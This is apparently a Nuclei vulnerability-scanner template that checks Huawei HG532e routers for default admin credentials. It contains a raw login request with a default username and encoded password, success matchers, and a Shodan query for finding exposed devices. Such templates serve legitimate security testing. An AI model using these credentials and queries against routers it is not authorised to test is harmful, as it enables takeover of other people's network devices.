id: huawei-HG532e-default-login

info:
  name: Huawei HG532e Default Credential
  author: pussycat0x
  severity: high
  description: Huawei HG532e default admin credentials were discovered.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
    shodan-query: http.html:"HG532e"
  tags: default-login,huawei

http:
  - raw:
      - |
        POST /index/login.cgi HTTP/1.1
        Host: {{Hostname}}
        Cookie: Language=en; FirstMenu=Admin_0; SecondMenu=Admin_0_0; ThirdMenu=Admin_0_0_0
        Content-Type: application/x-www-form-urlencoded

        Username=user&Password=MDRmODk5NmRhNzYzYjdhOTY5YjEwMjhlZTMwMDc1NjllYWYzYTYzNTQ4NmRkYWIyMTFkNTEyYzg1YjlkZjhmYg%3D%3D

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: SessionID'

      - type: word
        part: body
        words:
          - "<title>replace</title>"

      - type: status
        status:
          - 200

# digest: 4a0a0047304502210098853593bd79906f1fc55c1386f724501e413fa0160f1001597c53617c79af2a02200e4fa649e43eba6e6bf28db68abe93584b5cf961542e2d2afe5bdf55ddc3c6d7:922c64590222798bb761d5b6d8e72950
